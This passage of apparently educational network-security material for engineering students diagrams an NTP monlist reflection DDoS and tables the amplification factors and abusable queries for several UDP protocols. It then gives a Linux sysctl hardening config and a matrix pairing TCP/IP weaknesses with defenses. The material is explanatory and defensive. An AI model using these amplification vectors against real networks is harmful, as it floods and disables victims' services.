β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ ATTACKER TRANSMITS SMALL UDP REQUEST (e.g., 64 bytes)                                         β”‚
β”‚ β€’ Spoofed Source IP: 198.51.100.25 (VICTIM'S IP ADDRESS!)                                     β”‚
β”‚ β€’ Target Destination: 203.0.113.50 (Misconfigured Public NTP Server)                          β”‚
β”‚ β€’ Payload: "monlist" command (Requests list of last 600 hosts connected to NTP server)        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                β”‚
                                                β–Ό (Reflector executes command)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ REFLECTOR SERVER GENERATES MASSIVE RESPONSE (Amplification Factor: Up to 556x!)               β”‚
β”‚ β€’ Response Size: 100 packets x 1400 bytes = 140,000 bytes!                                    β”‚
β”‚ β€’ Destination Address: Read from forged source IP ──► 198.51.100.25 (THE VICTIM!)             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                β”‚
                                                β–Ό (Floods Victim Bandwidth Pipe)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ TARGET VICTIM INUNDATED WITH GIGABITS OF REFLECTED PACKETS                                    β”‚
β”‚ β€’ Victim network pipe saturated; firewall state tables crash                                  β”‚
β”‚ β€’ Victim cannot block attacker directly because all incoming packets arrive from valid NTPs!  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

COMMON PROTOCOL AMPLIFICATION FACTORS:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ PROTOCOL                β”‚ STANDARD QUERY PORT          β”‚ TYPICAL FACTOR   β”‚ VULNERABLE CMD    β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ NTP (Network Time)      β”‚ UDP / 123                    β”‚ 556x Multiplier  β”‚ monlist           β”‚
β”‚ DNS (Domain Name System)β”‚ UDP / 53                     β”‚ 28x to 54x       β”‚ ANY . edns0       β”‚
β”‚ Memcached               β”‚ UDP / 11211                  β”‚ 10,000x - 51,000xβ”‚ get <key>         β”‚
β”‚ SSDP (UPnP Discovery)   β”‚ UDP / 1900                   β”‚ 30x Multiplier   β”‚ M-SEARCH *        β”‚
β”‚ SNMPv2 (Network Mgmt)   β”‚ UDP / 161                    β”‚ 6x to 11x        β”‚ GetBulkRequest    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
Architectural Standard: UDP is vulnerable to reflection because it has no handshake. A server cannot verify if the sender actually sent the packet before replying. BCP 38 ingress filtering and disabling obsolete debug commands (e.g., monlist) are necessary to neutralize amplification vectors.
Real-Time Example 8: Debugging Network Vulnerabilities & Linux Hardening Triage
Troubleshooting network stack vulnerabilities on Linux systems: applying kernel sysctl hardening flags to eliminate IP forwarding, drop source-routed packets, ignore ICMP redirects, and enable SYN cookies.
Bash & sysctl (/etc/sysctl.d/99-network-security-hardening.conf)
# ==============================================================================
# LINUX KERNEL NETWORK SECURITY HARDENING SPECIFICATION
# Apply dynamically: sudo sysctl -p /etc/sysctl.d/99-network-security-hardening.conf
# ==============================================================================

# 1. Defeat TCP SYN Flooding via Cryptographic SYN Cookies (RFC 4987)
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 4096
net.ipv4.tcp_synack_retries = 2

# 2. Prevent IP Spoofing via Strict Reverse Path Forwarding (uRPF - RFC 2827)
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# 3. Drop Source-Routed Packets (Prevents attacker specifying route path through firewall)
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0

# 4. Defeat ICMP Redirect Attacks (Prevents rogue router from altering routing tables)
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0

# 5. Defeat Smurf Attacks & ICMP Broadcast Floods
net.ipv4.icmp_echo_ignore_broadcasts = 1

# 6. Log Martians (Packets with impossible source addresses, e.g. loopback on external interface)
net.ipv4.conf.all.log_martians = 1

# 7. Protect Against TCP Blind In-Window Attacks (RFC 5961)
net.ipv4.tcp_challenge_ack_limit = 1000
Triage Diagnostic Report: - SYN Flood Resistance: Enabled net.ipv4.tcp_syncookies=1; connection allocation moves to stateless math when backlog hits 4096. - IP Spoofing Mitigated: Enabled rp_filter=1; kernel drops inbound packets whose source IP routing table interface doesn't match arrival port. - Route Manipulation Halted: Disabled accept_source_route and accept_redirects.
Real-Time Example 9: TCP/IP Stack Vulnerability & Defense Reference Matrix
A comprehensive reference summary pairing TCP/IP protocol layers, RFC numbers, protocol design weaknesses, exploitation methods, and defensive countermeasures for B.Tech engineering students.
TCP/IP Protocol Stack Vulnerabilities Reference Matrix
TCP/IP PROTOCOL SUITE VULNERABILITY SPECIFICATION MATRIX:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ LAYER        β”‚ PROTOCOL (RFC)          β”‚ INHERENT DEFECT  β”‚ ATTACK VECTOR    β”‚ ENTERPRISE DEFENSE     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Link (L2)    β”‚ ARP (RFC 826)           β”‚ Stateless,       β”‚ ARP Spoofing,    β”‚ Dynamic ARP Inspection β”‚
β”‚              β”‚                         β”‚ unauthenticated  β”‚ MITM Hijacking   β”‚ (DAI), Static ARP      β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Link (L2)    β”‚ Ethernet / 802.1Q       β”‚ CAM table size   β”‚ MAC Flooding,    β”‚ Port Security (Sticky),β”‚
β”‚              β”‚                         β”‚ limit; tag leaks β”‚ VLAN Hopping     β”‚ Prune native VLANs     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Internet (L3)β”‚ IPv4 (RFC 791)          β”‚ Source IP header β”‚ IP Spoofing,     β”‚ BCP 38 / uRPF filteringβ”‚
β”‚              β”‚                         β”‚ not verified     β”‚ Reflected DDoS   β”‚ at boundary routers    β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Internet (L3)β”‚ IPv4 Fragmentation      β”‚ Reassembly logic β”‚ Teardrop attack, β”‚ Virtual Reassembly,    β”‚
β”‚              β”‚                         β”‚ boundary flaws   β”‚ Overlapping Drop β”‚ Drop tiny fragments    β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Internet (L3)β”‚ ICMP (RFC 792)          β”‚ Broadcast reply; β”‚ Smurf Attack,    β”‚ Ignore ICMP broadcast, β”‚
β”‚              β”‚                         β”‚ redirect abuse   β”‚ Route Poisoning  β”‚ Disable redirects      β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚Transport (L4)β”‚ TCP (RFC 793)           β”‚ State allocation β”‚ TCP SYN Flood,   β”‚ SYN Cookies (RFC 4987),β”‚
β”‚              β”‚                         β”‚ on initial SYN   β”‚ Backlog DoS      β”‚ Reduce SYN-ACK timeout β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚Transport (L4)β”‚ TCP (RFC 793)           β”‚ Blind RST accept β”‚ RST Injection,   β”‚ RFC 5961 Challenge ACK,β”‚
β”‚              β”‚                         β”‚ if within window β”‚ Session Drop     β”‚ TLS Layer-7 Encryption β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚Transport (L4)β”‚ UDP (RFC 768)           β”‚ Connectionless,  β”‚ Amplification    β”‚ Rate limiting, Disable β”‚
β”‚              β”‚                         β”‚ stateless reply  β”‚ DDoS (NTP/DNS)   β”‚ monlist / open relays  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ TOP 5 TCP/IP SECURITY PRINCIPLES:                                                                     β”‚
β”‚ 1. Validate Source Addresses: Enforce uRPF (BCP 38) at all network perimeters to stop spoofed packets.β”‚
β”‚ 2. Use Stateless Handshakes under Attack: Deploy SYN Cookies to prevent connection table exhaustion.  β”‚
β”‚ 3. Protect Layer 2 First: Without Dynamic ARP Inspection and DHCP Snooping, Layer 3/4 defenses fail.  β”‚
β”‚ 4. Encrypt at the Application Layer: Encrypt application data using TLS 1.3 or IPsec (ESP).           β”‚
β”‚ 5. Harden Kernel Defaults: Disable IP forwarding, source routing, and ICMP redirects via sysctl.      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
Academic & Professional Standard: The TCP/IP model's lack of native authentication requires layered defenses across the network stack. Understanding low-level packet construction, sequence numbering, and fragmentation prepares B.Tech students to design secure subnets, configure robust firewall rules, and analyze network intrusions.